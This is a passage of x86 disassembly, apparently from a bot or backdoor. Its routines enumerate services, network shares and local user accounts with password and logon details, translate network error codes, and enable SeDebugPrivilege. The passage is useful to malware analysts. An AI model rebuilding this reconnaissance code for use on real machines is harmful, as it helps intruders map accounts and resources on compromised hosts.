offset aRunning_0 ; " Running" jmp short loc_41315F ; --------------------------------------------------------------------------- loc_41314C: ; CODE XREF: sub_41308E+8Dj push offset aStoping ; " Stoping" jmp short loc_41315F ; --------------------------------------------------------------------------- loc_413153: ; CODE XREF: sub_41308E+8Aj push offset aStarting ; " Starting" jmp short loc_41315F ; --------------------------------------------------------------------------- loc_41315A: ; CODE XREF: sub_41308E+87j push offset aStopped ; " Stopped" loc_41315F: ; CODE XREF: sub_41308E+A0j ; sub_41308E+A7j ... lea eax, [ebp+var_20] push eax call sub_4154E7 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_4154E7 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_413111 loc_4131AB: ; CODE XREF: sub_41308E+77j cmp [ebp+var_8], ebx jnz loc_4130C6 loc_4131B4: ; CODE XREF: sub_41308E+6Cj push [ebp+var_C] call dword_43A2BC xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41308E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131CB proc near ; CODE XREF: sub_40CE55:loc_40EE43p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_413264 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_4131F4 dec eax jnz short loc_413244 push edi push 0 call sub_41339D pop ecx pop ecx jmp short loc_413240 ; --------------------------------------------------------------------------- loc_4131F4: ; CODE XREF: sub_4131CB+18j cmp [ebp+arg_8], 0 jnz short loc_413232 push 24h push edi call sub_417080 pop ecx test eax, eax pop ecx jnz short loc_413232 push 57h pop eax loc_41320B: ; CODE XREF: sub_4131CB+77j push eax call sub_413B75 push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_468C7C push off_436650[eax*4] push offset dword_436D5C push esi call sub_4154E7 add esp, 18h jmp short loc_413284 ; --------------------------------------------------------------------------- loc_413232: ; CODE XREF: sub_4131CB+2Dj ; sub_4131CB+3Bj push [ebp+arg_8] push edi push 0 call sub_4132F1 add esp, 0Ch loc_413240: ; CODE XREF: sub_4131CB+27j test eax, eax jnz short loc_41320B loc_413244: ; CODE XREF: sub_4131CB+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_468C7C push off_436654[eax*4] push offset dword_436D2C push esi call sub_4154E7 add esp, 10h jmp short loc_413284 ; --------------------------------------------------------------------------- loc_413264: ; CODE XREF: sub_4131CB+Aj mov eax, [ebp+arg_0] mov esi, offset dword_468C7C lea eax, [eax+eax*2] push off_436650[eax*4] push offset dword_436CF4 push esi call sub_4154E7 add esp, 0Ch loc_413284: ; CODE XREF: sub_4131CB+65j ; sub_4131CB+97j mov eax, esi pop edi pop esi pop ebp retn sub_4131CB endp ; =============== S U B R O U T I N E ======================================= sub_41328A proc near ; CODE XREF: sub_4146BA+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_413297 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_413297: ; CODE XREF: sub_41328A+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_421138 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_468E7C, 1 mov ebp, eax jnz short loc_4132D4 or byte_468E7C, 1 lea eax, [ebp+1] push eax call sub_4167C5 pop ecx mov dword_468C1C, eax loc_4132D4: ; CODE XREF: sub_41328A+32j push esi push esi push ebp push dword_468C1C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_468C1C pop edi pop ebp pop ebx pop esi retn sub_41328A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4132F1 proc near ; CODE XREF: sub_4131CB+6Dp ; sub_4149DE+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_41335C push [ebp+arg_4] mov edi, eax call sub_41335C push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_417080 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_41335C add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_43A2B8 pop edi leave retn sub_4132F1 endp ; =============== S U B R O U T I N E ======================================= sub_41335C proc near ; CODE XREF: sub_4132F1+Ap ; sub_4132F1+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_413369 pop ebp retn ; --------------------------------------------------------------------------- loc_413369: ; CODE XREF: sub_41335C+9j push ebx push esi mov esi, dword_421064 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_4167C5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_41335C endp ; =============== S U B R O U T I N E ======================================= sub_41339D proc near ; CODE XREF: sub_4131CB+20p ; sub_4146BA+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41335C push [esp+8+arg_4] mov esi, eax call sub_41335C pop ecx pop ecx push 0 push eax push esi call dword_43A290 pop esi retn sub_41339D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4133C0 proc near ; CODE XREF: sub_40CE55+201Ap var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_41335C xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 18h loc_4133F9: ; CODE XREF: sub_4133C0+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_43A304 mov ebx, eax cmp ebx, esi jz short loc_41345C cmp ebx, 0EAh jz short loc_41345C push ebx push ebx call sub_413B75 pop ecx push eax lea eax, [ebp+var_210] push offset dword_436DBC push eax call sub_4154E7 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 24h jmp short loc_4134C9 ; --------------------------------------------------------------------------- loc_41345C: ; CODE XREF: sub_4133C0+5Dj ; sub_4133C0+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_4134C0 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_41346A: ; CODE XREF: sub_4133C0+FCj push dword ptr [esi+10h] call dword_43A2AC test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_413481 mov eax, offset aNo ; "No" loc_413481: ; CODE XREF: sub_4133C0+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_4154E7 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_41346A xor esi, esi loc_4134C0: ; CODE XREF: sub_4133C0+A2j push [ebp+var_4] call dword_43A448 loc_4134C9: ; CODE XREF: sub_4133C0+9Aj cmp ebx, 0EAh jz loc_4133F9 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_4133C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4134E1 proc near ; CODE XREF: sub_40CE55:loc_40EEE5p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_413585 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_413523 dec eax jz short loc_413518 dec eax jnz short loc_41353E push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_413627 add esp, 14h jmp short loc_41353A ; --------------------------------------------------------------------------- loc_413518: ; CODE XREF: sub_4134E1+1Dj push ebx push edi call sub_413606 pop ecx pop ecx jmp short loc_41353A ; --------------------------------------------------------------------------- loc_413523: ; CODE XREF: sub_4134E1+1Aj cmp [ebp+arg_8], edi jz short loc_413537 push [ebp+arg_8] push ebx push edi call sub_4135AC add esp, 0Ch jmp short loc_41353A ; --------------------------------------------------------------------------- loc_413537: ; CODE XREF: sub_4134E1+45j push 57h pop eax loc_41353A: ; CODE XREF: sub_4134E1+35j ; sub_4134E1+40j ... cmp eax, edi jnz short loc_41355E loc_41353E: ; CODE XREF: sub_4134E1+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_468E80 push off_436654[eax*4] push offset dword_436EAC push esi call sub_4154E7 add esp, 10h jmp short loc_4135A5 ; --------------------------------------------------------------------------- loc_41355E: ; CODE XREF: sub_4134E1+5Bj push eax call sub_413B75 push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_468E80 push off_436650[eax*4] push offset dword_436E6C push esi call sub_4154E7 add esp, 18h jmp short loc_4135A5 ; --------------------------------------------------------------------------- loc_413585: ; CODE XREF: sub_4134E1+Dj mov eax, [ebp+arg_0] mov esi, offset dword_468E80 lea eax, [eax+eax*2] push off_436650[eax*4] push offset dword_436E30 push esi call sub_4154E7 add esp, 0Ch loc_4135A5: ; CODE XREF: sub_4134E1+7Bj ; sub_4134E1+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_4134E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4135AC proc near ; CODE XREF: sub_4134E1+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_41335C push [ebp+arg_4] mov edi, eax call sub_41335C push [ebp+arg_8] mov [ebp+var_24], eax call sub_41335C add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_43A29C pop edi leave retn sub_4135AC endp ; =============== S U B R O U T I N E ======================================= sub_413606 proc near ; CODE XREF: sub_4134E1+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41335C push [esp+8+arg_4] mov esi, eax call sub_41335C pop ecx pop ecx push eax push esi call dword_43A28C pop esi retn sub_413606 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413627 proc near ; CODE XREF: sub_4134E1+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_41335C push [ebp+arg_4] mov esi, eax call sub_41335C pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_43A410 test eax, eax mov [ebp+arg_0], eax jnz loc_4139B4 mov eax, [ebp+var_4] test eax, eax jz loc_4139EF push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_4154E7 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_413740 dec eax jz short loc_413739 dec eax jz short loc_413732 mov eax, offset aUnknown ; "Unknown" jmp short loc_413745 ; --------------------------------------------------------------------------- loc_413732: ; CODE XREF: sub_413627+102j mov eax, offset aAdministrato_0 ; "Administrator" jmp short loc_413745 ; --------------------------------------------------------------------------- loc_413739: ; CODE XREF: sub_413627+FFj mov eax, offset aUser_1 ; "User" jmp short loc_413745 ; --------------------------------------------------------------------------- loc_413740: ; CODE XREF: sub_413627+FCj mov eax, offset aGuest ; "Guest" loc_413745: ; CODE XREF: sub_413627+109j ; sub_413627+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C add esp, 20h pop edi pop ebx jmp short loc_4139E0 ; --------------------------------------------------------------------------- loc_4139B4: ; CODE XREF: sub_413627+35j push eax lea eax, [ebp+var_204] push offset dword_436EE0 push eax call sub_4154E7 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_412D4C add esp, 20h loc_4139E0: ; CODE XREF: sub_413627+38Bj cmp [ebp+var_4], 0 jz short loc_4139EF push [ebp+var_4] call dword_43A448 loc_4139EF: ; CODE XREF: sub_413627+40j ; sub_413627+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_413627 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4139F5 proc near ; CODE XREF: sub_40CE55+20BCp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_41335C push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 18h loc_413A34: ; CODE XREF: sub_4139F5+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_43A320 cmp eax, esi mov [ebp+var_C], eax jz short loc_413A95 cmp eax, 0EAh jz short loc_413A95 push eax push eax call sub_413B75 pop ecx push eax lea eax, [ebp+var_218] push offset dword_4370E0 push eax call sub_4154E7 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 24h jmp short loc_413B10 ; --------------------------------------------------------------------------- loc_413A95: ; CODE XREF: sub_4139F5+62j ; sub_4139F5+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_413B23 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_413B10 loc_413AA7: ; CODE XREF: sub_4139F5+EDj cmp edi, esi jz short loc_413AE6 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_5 ; " %S" push eax call sub_4154E7 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_413AA7 jmp short loc_413B10 ; --------------------------------------------------------------------------- loc_413AE6: ; CODE XREF: sub_4139F5+B4j lea eax, [ebp+var_218] push offset dword_437098 push eax call sub_4154E7 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 1Ch loc_413B10: ; CODE XREF: sub_4139F5+9Ej ; sub_4139F5+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_413B23 push edi call dword_43A448 xor edi, edi mov [ebp+var_4], edi loc_413B23: ; CODE XREF: sub_4139F5+A5j ; sub_4139F5+120j cmp [ebp+var_C], 0EAh jz loc_413A34 cmp edi, esi jz short loc_413B3B push edi call dword_43A448 loc_413B3B: ; CODE XREF: sub_4139F5+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_4154E7 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4139F5 endp ; =============== S U B R O U T I N E ======================================= sub_413B75 proc near ; CODE XREF: sub_4131CB+41p ; sub_4133C0+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_413C27 jz loc_413C20 cmp eax, 7Bh ja short loc_413BEC jz short loc_413BE2 cmp eax, 5 jz short loc_413BD8 cmp eax, 8 jz short loc_413BCE cmp eax, 32h jz short loc_413BC4 cmp eax, 35h jz short loc_413BBA cmp eax, 57h jnz loc_413C76 push offset aInvalidParamet ; "Invalid parameter." jmp loc_413C97 ; --------------------------------------------------------------------------- loc_413BBA: ; CODE XREF: sub_413B75+30j push offset aServerNameNotF ; "Server name not found." jmp loc_413C97 ; --------------------------------------------------------------------------- loc_413BC4: ; CODE XREF: sub_413B75+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_413C97 ; --------------------------------------------------------------------------- loc_413BCE: ; CODE XREF: sub_413B75+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_413C97 ; --------------------------------------------------------------------------- loc_413BD8: ; CODE XREF: sub_413B75+21j push offset aAccessDenied_ ; "Access denied." jmp loc_413C97 ; --------------------------------------------------------------------------- loc_413BE2: ; CODE XREF: sub_413B75+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_413C97 ; --------------------------------------------------------------------------- loc_413BEC: ; CODE XREF: sub_413B75+1Aj sub eax, 7Ch jz short loc_413C19 sub eax, 7C8h jz short loc_413C12 dec eax jz short loc_413C08 dec eax jnz short loc_413C76 push offset aDuplicateShare ; "Duplicate share name." jmp loc_413C97 ; --------------------------------------------------------------------------- loc_413C08: ; CODE XREF: sub_413B75+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_413C97 ; --------------------------------------------------------------------------- loc_413C12: ; CODE XREF: sub_413B75+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C19: ; CODE XREF: sub_413B75+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C20: ; CODE XREF: sub_413B75+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C27: ; CODE XREF: sub_413B75+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_413C60 jz short loc_413C59 sub eax, 8ADh jz short loc_413C8B dec eax dec eax jz short loc_413C52 dec eax jz short loc_413C4B dec eax dec eax jnz short loc_413C76 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C4B: ; CODE XREF: sub_413B75+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C52: ; CODE XREF: sub_413B75+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C59: ; CODE XREF: sub_413B75+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C60: ; CODE XREF: sub_413B75+B9j sub eax, 8CAh jz short loc_413C92 sub eax, 17h jz short loc_413C8B sub eax, 25h jz short loc_413C84 sub eax, 29h jz short loc_413C7D loc_413C76: ; CODE XREF: sub_413B75+35j ; sub_413B75+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C7D: ; CODE XREF: sub_413B75+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C84: ; CODE XREF: sub_413B75+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C8B: ; CODE XREF: sub_413B75+C2j ; sub_413B75+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C92: ; CODE XREF: sub_413B75+F0j push offset aNetworkConnect ; "Network connection not found." loc_413C97: ; CODE XREF: sub_413B75+40j ; sub_413B75+4Aj ... push offset dword_468C20 call sub_4154E7 pop ecx mov eax, offset dword_468C20 pop ecx retn sub_413B75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413CA9 proc near ; CODE XREF: sub_40CE55+20FBp var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_4179F9 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call dword_42113C lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_4179F9 lea eax, [ebp+var_718] push eax call sub_4179DC add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_43A3C8 test eax, eax jnz short loc_413D39 mov esi, offset dword_468A1C push offset dword_437438 push esi call sub_4154E7 pop ecx pop ecx jmp short loc_413D62 ; --------------------------------------------------------------------------- loc_413D39: ; CODE XREF: sub_413CA9+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_413B75 pop ecx mov esi, offset dword_468A1C push eax push offset dword_4373FC push esi call sub_4154E7 add esp, 14h loc_413D62: ; CODE XREF: sub_413CA9+8Ej mov eax, esi pop esi leave retn sub_413CA9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413D67 proc near ; CODE XREF: sub_409DF3+7p ; sub_413DD2+5Fp ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call dword_421104 push eax call dword_43A39C test eax, eax jnz short loc_413D86 leave retn ; --------------------------------------------------------------------------- loc_413D86: ; CODE XREF: sub_413D67+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_43A374 test eax, eax jz short loc_413DC4 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_413DAD or [ebp+var_8], 2 jmp short loc_413DB1 ; --------------------------------------------------------------------------- loc_413DAD: ; CODE XREF: sub_413D67+3Ej and [ebp+var_8], 0FFFFFFFDh loc_413DB1: ; CODE XREF: sub_413D67+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_43A424 mov esi, eax loc_413DC4: ; CODE XREF: sub_413D67+32j push [ebp+var_4] call dword_42106C mov eax, esi pop esi leave retn sub_413D67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413DD2 proc near ; CODE XREF: sub_40CE55+47D9p ; sub_413F83+74p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_43A3D8, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_413F7C cmp dword_43A3BC, ebx jz loc_413F7C cmp dword_43A2D8, ebx jz loc_413F7C push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_413D67 pop ecx pop ecx push ebx push 0Fh call 